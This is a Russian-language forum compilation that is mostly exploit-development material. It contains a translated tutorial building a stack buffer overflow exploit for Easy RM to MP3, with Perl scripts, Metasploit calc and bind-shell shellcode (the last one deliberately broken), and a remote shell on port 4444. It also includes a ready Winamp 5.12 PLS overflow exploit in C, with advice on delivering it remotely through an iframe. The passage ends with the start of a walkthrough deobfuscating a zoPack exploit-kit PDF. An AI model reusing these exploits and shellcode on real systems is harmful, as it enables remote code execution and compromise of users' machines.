Мы изменим perl-скрипт, и подадим строку символов (я взял 144 символа, но вы
можете взять больше или меньше) вместо массива с «C»:
Code:Copy to clipboard
#!usr/bin/perl
my $file= "test1.m3u";
my $junk= "A" x 26103;
my $eip = "BBBB";
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" .
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
Генерируем файл, и запускаем в конвертере. Делаем дамп ESP («d esp»):
Здесь мы можем наблюдать два интересных момента:
Но давайте не будет идти по такому пути. Мы для начала добавим 4 символа перед шаблоном и повторим тест. Если все подходит, ESP должен будет указать непосредственно на начало нашего шаблона:
Code:Copy to clipboard
#!usr/bin/perl
my $file= "test2.m3u";
my $junk= "A" x 26068;
my $eip = "BBBB";
my $newchar = "X" x 37;
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" .
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
print $FILE $junk.$eip.$newchar.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
Проведем переполнение ещё раз, и посмотрим на реакцию:
Уже намного лучше. Удалось выровнять буфер к началу ESP-области.
Итак, что мы имеем:
Что нам осталось сделать:
Давайте попробуем.
Проведем небольшой тест: запишем 26103 «А», после запишем 0x000ffd38 в EIP, за
ними будут идти 25 NOP’ов, после них разрыв, и ещё немного NOP’ов. Код скрипта
следующий:
Code:Copy to clipboard
#!usr/bin/perl
my $file= "test3.m3u";
my $junk= "A" x 26103;
my $eip = pack('V',0x000ffd38);
my $shellcode = "\x90" x 25; # NOP-след
$shellcode = $shellcode."\xcc"; #разрыв
$shellcode = $shellcode."\x90" x 25; # NOP-след
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
Приложение упало. Если взглянуть на EIP, то можно видеть, что он указывает на 0x000ffd38, как и ESP. Если сделать дамп ESP, то можно увидеть не совсем то, что ожидалось:
Переход непосредственно к адресу памяти, возможно, не лучшее решение. 000ff730
содержит нулевой байт, который является признаком конца строки … так «A»,
которые мы видим, исходят из первой части буфера …, мы ещё не достигали точки,
где могли бы писать свои данные после перезаписи EIP.
Кроме того, использование жестко заданного адреса памяти для перехода к
шеллкоду сделало бы эксплойт очень ненадежным. Дело в том, что этот адрес
памяти может быть различным в зависимости от версий OS, языка, патчей, и т.д.
Небольшое отступление: мы не должны переписывать EIP прямым указателем адреса
памяти, таким как 000ffd38. Это не хорошая идея. Мы должны использовать другую
методику, чтобы достигнуть той же цели: создать переход приложения к нашему
собственному коду. Идеально было бы сослаться на регистр (или смещение к
регистру), в нашем случае к ESP, и найти функцию, которая перейдет к этому
регистру. Тогда мы попытаемся перезаписать EIP адресом той функции.
Перейти к шеллкоду более надежным способом.
Нам удалось поместить наш шеллкод в ESP. Если бы этого не было, то мы обратились бы к значениям других адресов регистра в надежде найти наш буфер. В любом случае мы будем использовать ESP.
Переход к ESP является очень частым случаем в приложениях Windows. Фактически,
приложения используют одну или более dll-библиотек, и их содержимое. Кроме
того, адреса, используемые в dll, являются статическими. То есть, если мы
найдём dll, которая содержит команду, для перехода к ESP, и если нам удастся
перезаписать EIP адресом той команды, то переход может получиться. Давайте
проверим. Прежде всего, мы должны выяснить, какой код у операции “jmp ESP”.
Мы можем сделать это, запустив конвертер и подключить к его процессу отладчик.
Это дает нам преимущество, т.к. windbg будет видеть все dll и модули, которые
загружены приложением.
После присоединения отладчика к процессу приложение остановится. Для этого, в командной строке windbg, внизу экрана, введём “a” (assembler). Далее вводим ”jmp ESP”.
Жмем “Enter”, и вводим “u” (unassemble):
Рядом с 7c90120e, мы видим ffe4. Это – код для операции “jmp esp”
Теперь мы должны найти этот код в одной из загруженных dll.
Пролистав окно отладчика вверх, найдём строки, которые указывают на dll,
принадлежащие конвертеру:
Если мы сможем найти код операции “jmp esp” в одной из этих dll, то у нас есть
шанс создать надежно работающий эксплойт на платформе Windows XP. Если бы мы
захотели использовать dll, которая принадлежит OS, то эксплойт мог отказаться
работать на других версиях системы. Исследуем содержимое одной из dll нашей
экспериментальной программы.
Для осмотра возьмём “ C:\Program Files\Easy RM to MP3
Converter\MSRMCcodec02.dll”. Эта dll загружена между 01c30000 и 020fd000.
Искать в этой области мы будет код нашей операции - “ff e4”, введя в командную
строку отладчика “s 01c30000 l 020fd000 ff e4”:
Превосходно. Когда выбран адрес, важно найти нулевые байты. Мы должны избегать использования адресов с нулевыми байтами, особенно, если мы используем буферные данные, которые будут находиться после перезаписанного EIP. Нулевой байт стал бы признаком конца строки, и оставшаяся часть буферных данных будет непригодной.
Ещё одна хорошая область для поиска кодов операции “s 70000000 l fffffff и следующие e4”.
Отметьте: есть другие способы получить адреса кода операции:
Так как мы хотим вставить наш шеллкод в ESP,адрес на jmp esp не должен иметь
нулевых байтов. Если бы у этого адреса были бы нулевые байты, мы перезаписали
бы EIP адресом, который содержит нулевые байты. Нулевой байт это признак конца
строки, таким образом все, что следует после него, будет проигнорировано. В
некоторых случаях нулевой байт имеет место быть. В адресах, которые начинаются
с нулевого байта, т.к. из-за little endian, нулевой байт стал бы последним
байтом в регистре EIP. И если мы не посылаем пэйлод после перезаписи EIP
(т.е., если шеллкод будет подан до того, как будет перезаписан EIP), то тогда
это будет работать.
В любом случае, сейчас мы будем использовать полезную нагрузку после
перезаписи EIP, поэтому адрес не должен содержать нулевые байты.
Первый адрес: 0x01def23a
Проверим, что этот адрес содержит jmp esp (отбросьте “0x” 01def23a ) и введём
в командную строку отладчика “u 01def23a ”:
Теперь, если мы запишем в EIP 0x01def23a, то выполниться операция jmp esp, тем
самым передав управление на наш шеллкод. Т.е., мы добились работоспособности
эксплойта. Давайте протестируем его.
Закройте отладчик, и создайте новый .m3u-файл при помощи нижеследующего perl-
скрипта:
Code:Copy to clipboard
#!usr/bin/perl
my $file= "test4.m3u";
my $junk= "A" x 26103;
my $eip = pack('V',0x01def23a);
my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
Теперь программа упала по адресу 000ffd4d, который является точкой
останова(breakpoint).
Теперь можно перейти к использованию функциональных шеллкодов.
Выбираем шеллкод и завершаем разработку эксплойта.
В metasploit есть отличный генератор полезных нагрузок, который поможет вам при разработке шеллкода. Полезные нагрузки идут с различными опциями, и (в зависимости от того, что они должны сделать), могут быть маленьких или очень больших размеров. Если у вас есть ограничение по размеру в пространстве для буфера, то вы могли бы обратить своё внимание на многоуровневый шеллкод (multi-staged shellcode), или использовать собственноручный шеллкод, такой как этот [http://packetstormsecurity.org/shellcode/2...s-shellcode.txt](http://packetstormsecurity.org/shellcode/23bytes- shellcode.txt) (32 байта cmd.exe шеллкод для xp sp2). Также, вы можете разделить свой шеллкод на более меньшие части - 'eggs' и использовать методику, названную 'eggs-hunting'.
Скажем, мы хотим, чтобы calc.exe был выполнен, как наша полезная нагрузка для эксплойта, тогда шеллкод может выглядеть следующим образом:
Code:Copy to clipboard
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
Объединим данную нагрузку с нашим perl-скриптом:
Code:Copy to clipboard
#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# Greetings to Saumil and SK :-)
#
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exploitrmtomp3.m3u";
my $junk= "A" x 26103;
my $eip = pack('V', 0x01def23a); #jmp esp from MSRMCcodec02.dll
my $shellcode = "\x90" x 25;
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
Проверяем в деле: запускаем скрипт – получает .m3u-файл – запускаем конвертер – скармливаем ему .m3u-файл – смотрим на результат.
БУМ! Теперь у нас есть свой первый рабочий эксплойт!
Что, если вы захотите сделать что-то ещё, кроме как запуск calc.exe?
Вы можете создать другой шеллкод и заменить им “launch calc.exe shellcode”, но возникают риски не вложиться по размерам в отведенную область буфера, либо в шеллкоде будут присутствовать недопустимые символы, которые могут быть отфильтрованы.
Например, если мы хотим иметь эксплойт, который сделает bind port (привязку к порту), и удаленный взломщик сможет подключившись к нему получить доступ через командную строку. Такой шеллкод может выглядеть следующим образом:
Code:Copy to clipboard
# windows/shell_bind_tcp - 344 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, LPORT=5555, RHOST=
"\x31\xc9\xbf\xd3\xc0\x5c\x46\xdb\xc0\xd9\x74\x24\xf4\x5d" .
"\xb1\x50\x83\xed\xfc\x31\x7d\x0d\x03\x7d\xde\x22\xa9\xba" .
"\x8a\x49\x1f\xab\xb3\x71\x5f\xd4\x23\x05\xcc\x0f\x87\x92" .
"\x48\x6c\x4c\xd8\x57\xf4\x53\xce\xd3\x4b\x4b\x9b\xbb\x73" .
"\x6a\x70\x0a\xff\x58\x0d\x8c\x11\x91\xd1\x16\x41\x55\x11" .
"\x5c\x9d\x94\x58\x90\xa0\xd4\xb6\x5f\x99\x8c\x6c\x88\xab" .
"\xc9\xe6\x97\x77\x10\x12\x41\xf3\x1e\xaf\x05\x5c\x02\x2e" .
"\xf1\x60\x16\xbb\x8c\x0b\x42\xa7\xef\x10\xbb\x0c\x8b\x1d" .
"\xf8\x82\xdf\x62\xf2\x69\xaf\x7e\xa7\xe5\x10\x77\xe9\x91" .
"\x1e\xc9\x1b\x8e\x4f\x29\xf5\x28\x23\xb3\x91\x87\xf1\x53" .
"\x16\x9b\xc7\xfc\x8c\xa4\xf8\x6b\xe7\xb6\x05\x50\xa7\xb7" .
"\x20\xf8\xce\xad\xab\x86\x3d\x25\x36\xdc\xd7\x34\xc9\x0e" .
"\x4f\xe0\x3c\x5a\x22\x45\xc0\x72\x6f\x39\x6d\x28\xdc\xfe" .
"\xc2\x8d\xb1\xff\x35\x77\x5d\x15\x05\x1e\xce\x9c\x88\x4a" .
"\x98\x3a\x50\x05\x9f\x14\x9a\x33\x75\x8b\x35\xe9\x76\x7b" .
"\xdd\xb5\x25\x52\xf7\xe1\xca\x7d\x54\x5b\xcb\x52\x33\x86" .
"\x7a\xd5\x8d\x1f\x83\x0f\x5d\xf4\x2f\xe5\xa1\x24\x5c\x6d" .
"\xb9\xbc\xa4\x17\x12\xc0\xfe\xbd\x63\xee\x98\x57\xf8\x69" .
"\x0c\xcb\x6d\xff\x29\x61\x3e\xa6\x98\xba\x37\xbf\xb0\x06" .
"\xc1\xa2\x75\x47\x22\x88\x8b\x05\xe8\x33\x31\xa6\x61\x46" .
"\xcf\x8e\x2e\xf2\x84\x87\x42\xfb\x69\x41\x5c\x76\xc9\x91" .
"\x74\x22\x86\x3f\x28\x84\x79\xaa\xcb\x77\x28\x7f\x9d\x88" .
"\x1a\x17\xb0\xae\x9f\x26\x99\xaf\x49\xdc\xe1\xaf\x42\xde" .
"\xce\xdb\xfb\xdc\x6c\x1f\x67\xe2\xa5\xf2\x98\xcc\x22\x03" .
"\xec\xe9\xed\xb0\x0f\x27\xee\xe7";
Как вы могли заметить, этот шеллкод длиной в 344 байта, и он не вызовет падение программы:
Это наиболее вероятная проблема, возникающая из-за размерности шеллкода и буфера. Также мы можем столкнуться с проблемой запрещенных символов. Вы можете избежать таких символов строя шеллкод в metasploit’е, но вам должно быть известно, какие из символов допустимы, а какие нет.
Проблему с запретами можно решить через кодировщики(encoders). В предыдущей полезной нагрузке мы использовали “x86/shikata_ga_nai”, но вполне возможно, что с применением alpha_upper нагрузка будет работать лучше. Используя другой кодировщик, вполне возможно увеличить длину шеллкода, но это, как нам уже известно, не большая проблема.
Давайте попытаемся построить пэйлод tcp_shell_bind, используя alpha_upper
кодировщик.
Мы привяжем оболочку(shell) на 4444 порт. Новый шеллкод составит 703 байта.
код демонстрационный:
Code:Copy to clipboard
# windows/shell_bind_tcp - 703 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=4444, RHOST=
"\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42" .
"\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" .
"\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47" .
"\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a" .
"\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43" .
"\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a" .
"\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44" .
"\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a" .
"\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a" .
"\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c" .
"\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" .
"\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" .
<...>
"\x50\x41\x41";
Давайте применим этот код к нашему эксплойту.
P.S. Код преднамеренно сломан, для того чтобы вы сами попробовали применить
полученные знания, и попытались его восстановить:
Code:Copy to clipboard
#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# Greetings to Saumil and SK :-)
#
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exploitrmtomp3.m3u";
my $junk= "A" x 26103;
my $eip = pack('V',0x01ccf23a); #jmp esp from MSRMCcodec02.dll
my $shellcode = "\x90" x 25;
# windows/shell_bind_tcp - 703 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=4444, RHOST=
$shellcode=$shellcode."\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x00\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42" .
"\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" .
"\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47" .
"\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a" .
"\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43" .
"\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a" .
"\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44" .
"\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a" .
"\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a" .
"\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c" .
"\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" .
"\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" .
"\x4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50" .
"\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45" .
"\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c" .
"\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43" .
"\x56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43" .
"\x47\x43\x43\x47\x42\x51\x4f\x50\x54\x4b\x4f\x48\x50\x42" .
"\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x50\x50\x4b\x4f\x48" .
"\x56\x51\x4f\x4d\x59\x4d\x35\x45\x36\x4b\x31\x4a\x4d\x43" .
"\x38\x43\x32\x46\x35\x43\x5a\x44\x42\x4b\x4f\x4e\x30\x42" .
"\x48\x48\x59\x45\x59\x4c\x35\x4e\x4d\x50\x57\x4b\x4f\x48" .
"\x56\x46\x33\x46\x33\x46\x33\x50\x53\x50\x53\x50\x43\x51" .
"\x43\x51\x53\x46\x33\x4b\x4f\x4e\x30\x43\x56\x45\x38\x42" .
"\x31\x51\x4c\x42\x46\x46\x33\x4c\x49\x4d\x31\x4a\x35\x42" .
"\x48\x4e\x44\x44\x5a\x44\x30\x49\x57\x50\x57\x4b\x4f\x48" .
"\x56\x43\x5a\x44\x50\x50\x51\x51\x45\x4b\x4f\x4e\x30\x43" .
"\x58\x49\x34\x4e\x4d\x46\x4e\x4b\x59\x50\x57\x4b\x4f\x4e" .
"\x36\x50\x53\x46\x35\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x50" .
"\x49\x4d\x56\x50\x49\x51\x47\x4b\x4f\x48\x56\x50\x50\x50" .
"\x54\x50\x54\x46\x35\x4b\x4f\x48\x50\x4a\x33\x45\x38\x4a" .
"\x47\x44\x39\x48\x46\x43\x49\x50\x57\x4b\x4f\x48\x56\x50" .
"\x55\x4b\x4f\x48\x50\x42\x46\x42\x4a\x42\x44\x45\x36\x45" .
"\x38\x45\x33\x42\x4d\x4d\x59\x4b\x55\x42\x4a\x46\x30\x50" .
"\x59\x47\x59\x48\x4c\x4b\x39\x4a\x47\x43\x5a\x50\x44\x4b" .
"\x39\x4b\x52\x46\x51\x49\x50\x4c\x33\x4e\x4a\x4b\x4e\x47" .
"\x32\x46\x4d\x4b\x4e\x51\x52\x46\x4c\x4d\x43\x4c\x4d\x42" .
"\x5a\x50\x38\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x42\x52\x4b" .
"\x4e\x4e\x53\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x49" .
"\x46\x51\x4b\x46\x37\x46\x32\x50\x51\x50\x51\x46\x31\x42" .
"\x4a\x45\x51\x46\x31\x46\x31\x51\x45\x50\x51\x4b\x4f\x48" .
"\x50\x43\x58\x4e\x4d\x4e\x39\x45\x55\x48\x4e\x51\x43\x4b" .
"\x4f\x49\x46\x43\x5a\x4b\x4f\x4b\x4f\x47\x47\x4b\x4f\x48" .
"\x50\x4c\x4b\x46\x37\x4b\x4c\x4c\x43\x49\x54\x45\x34\x4b" .
"\x4f\x4e\x36\x50\x52\x4b\x4f\x48\x50\x43\x58\x4c\x30\x4c" .
"\x4a\x44\x44\x51\x4f\x46\x33\x4b\x4f\x48\x56\x4b\x4f\x48" .
"\x50\x41\x41";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
Создаем .m3u-файл и запускаем в конвертере. Easy RM to MP3 зависает. Подключаемся через telnet к этому же хосту на порт 4444:
Есть контакт! =)
Теперь можете создавать свои собственные эксплойты. Не забудьте украшать их ASCII-артом, возьмите l33t-никнэйм, и отправляйте мне (corelanc0d3r) ваши приветы
![](/proxy.php?image=http%3A%2F%2Fnewtech.aurum3.com%2Fimages%2Fadobe-
acrobat-9.jpg&hash=2a34d264c8431a3a872634c39834ee9d)
Программа:
Adobe Reader 7.x, 8.x, 9.x
Adobe Acrobat 7.x, 8.x, 9.x
Опасность: Критическая
Наличие эксплоита: Нет
Описание:
Уязвимость позволяет удаленному пользователю скомпрометировать целевую
систему.
[New$paN]
Уязвимость существует из-за неизвестной ошибки. Удаленный пользователь может
вызвать переполнение буфера и выполнить произвольный код на целевой системе.
Примечание: Уязвимость активно эксплуатируется в настоящее время.
URL производителя: www.adobe.com
Решение: Способов устранения уязвимости не существует в настоящее время. Производитель планирует выпустить исправление 11 марта 2009 года.
Журнал изменений:
20.02.2009
Изменена секция «Программа»,добавлена версия 7.x
Источник: www.securitylab.ru
Переполнение буфера при обработке PLS файлов в Winamp
Программа: Nullsoft Winamp 5.12 и более ранние версии
Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольный код на
целевой системе.
Переполнение буфера обнаружено при обработке тега “File1” в “.pls” файлах.
Удаленный пользователь может с помощью специально сформированного файла
выполнить произвольный код на целевой системе.
эксплоит:
winamp0day.c
Code:Copy to clipboard
/*
*
* Winamp 5.12 Remote Buffer Overflow Universal Exploit (Zero-Day)
* Bug discovered & exploit coded by ATmaCA
* Web: http://www.spyinstructors.com && http://www.atmacasoft.com
* E-Mail: atmaca@icqmail.com
* Credit to Kozan
*
*/
/*
*
* Tested with :
* Winamp 5.12 on Win XP Pro Sp2
*
*/
/*
* Usage:
*
* Execute exploit, it will create "crafted.pls" in current directory.
* Duble click the file, or single click right and then select "open".
* And Winamp will launch a Calculator (calc.exe)
*
*/
/*
*
* For to use it remotly,
* make a html page containing an iframe linking to the .pls file.
*
* http://www.spyinstructors.com/atmaca/research/winamp_ie_poc.htm
*
*/
#include <windows.h>
#include <stdio.h>
#define BUF_LEN 0x045D
#define PLAYLIST_FILE "crafted.pls"
char szPlayListHeader1[] = "[playlist]\r\nFile1=\\\\";
char szPlayListHeader2[] = "\r\nTitle1=~BOF~\r\nLength1=FFF\r\nNumberOfEntries=1\r\nVersion=2\r\n";
// Jump to shellcode
char jumpcode[] = "\x61\xD9\x02\x02\x83\xEC\x34\x83\xEC\x70\xFF\xE4";
// Harmless Calc.exe
char shellcode[] =
"\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
"\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"
"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"
"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"
"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"
"\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"
"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"
"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"
"\x61\xdd\x0e\x4d";
int main(int argc,char *argv[])
{
printf("\nWinamp 5.12 Remote Buffer Overflow Universal Exploit");
printf("\nBug discovered & exploit coded by ATmaCA");
printf("\nWeb: http://www.spyinstructors.com && http://www.atmacasoft.com");
printf("\nE-Mail: atmaca@icqmail.com");
printf("\nCredit to Kozan");
FILE *File;
char *pszBuffer;
if ( (File = fopen(PLAYLIST_FILE,"w+b")) == NULL ) {
printf("\n [Err:] fopen()");
exit(1);
}
pszBuffer = (char*)malloc(BUF_LEN);
memset(pszBuffer,0x90,BUF_LEN);
memcpy(pszBuffer,szPlayListHeader1,sizeof(szPlayListHeader1)-1);
memcpy(pszBuffer+0x036C,shellcode,sizeof(shellcode)-1);
memcpy(pszBuffer+0x0412,jumpcode,sizeof(jumpcode)-1);
memcpy(pszBuffer+0x0422,szPlayListHeader2,sizeof(szPlayListHeader2)-1);
fwrite(pszBuffer, BUF_LEN, 1,File);
fclose(File);
printf("\n\n" PLAYLIST_FILE " has been created in the current directory.\n");
return 1;
}
:zns2: производитель
Решение: Способов устранения уязвимости не существует в настоящее время.
Источник: www.securitylab.ru
Итак, по просьбам трудящихся решил написать таки мини статью-обзор о том, как расшифровать ПДФ сплойт. В качестве подопытного у нас будет сплойт входящий в поставку связки с оч интересным названием zoPack версии 1.2. Чему созвучно название и как оно звучит это оставим на совести авторов. Для работы нам понадобятся два инструмента, первый это комплекс (не побоюсь этого слова) по исследования малвари Malzilla , второй это мини-приложения для вытаскивания и декрипта из пдф файло ява текста пожатого zlib - PDF_streams_inflater.
Скачать|Download - PDF_streams_inflater
Скачать|Download - Malzilla
Скачать|Download -
zoPack v1.2
Начнем.
Итак, открываем папку со связкой и сразу в глаза нам бросается файл
pdf.pdf.
Он-то нам и нужен.
Далее распаковываем утилитку PDF_streams_inflater и запускаем её из под
консоли с параметрами inflater.exe input_file output_folder , что на более
понятный всем великий и могучий переводится как inflater.exe входной_файл
папка_куда_будет_сваливаться расшифрованный_бред.
После запуска в папке с нашей связкой появилась еще одна связка с именем
pdf. Открываем её и видим три файла: 1.tmp, 2.tmp, 3.tmp. Это все что
было в пдф-файле под фильтром FlateDecode.
Открываем по очереди их. В первом какой-то бред.
Во втором, опп, во втором ЯС.
Откроем еще третий для проверки, снова бред какой-то.
Итак нам нужен файл 2.tmp.
Запускаем Malzilla.
Так-как мы имеем готовый ЯС, пусть и обфусцированный, сразу открываем вкладку
Decoder , ПКМ на окне редактирования (верхнее которое), Load from file
, выбираем 2.tmp и жмем ОТКРЫТЬ.
Итак, раз мы видим в функции gizgn вывод данных через EVAL, то ставим
переключатель вывода в положение Replace eval() with evla. Чем ставим
заглушки и делаем вывод исполненного кода в окно результата.
Жмем Run script , соглашаемся на замену eval'a и смотрим в окно
результата.
Ctrl+A, Ctrl+C, вставляем полученный код в окно редактирования. Окно результат
можно очистить.
Теперь главное решить что нам надо, я ставил пред собой цель расшифровать так,
что-бы полуить шелл код и увидеть откуда загружается бинарник в итоге. Для
этого нам надо что-бы сам скрипт отработал нормально. Бежим глазами и видим
что? Видим что скрипт берет данные о версии просмотрщика через браузер
var XrCU20If = app.viewerVersion.toString();. Чтож, обхитрим, эту строчку
мы закоменчиваем, ниже пишем что-нибудь типа var XrCU20If = "700";.
Большой разницы это не играет, главное попасть в номер версии, под который
работает сплойт. Это проверяется ниже регулярными выражениеми и if'ами. Что
это и как этим пользовать, я учить явно не буду. Пытаемся запустить, опять
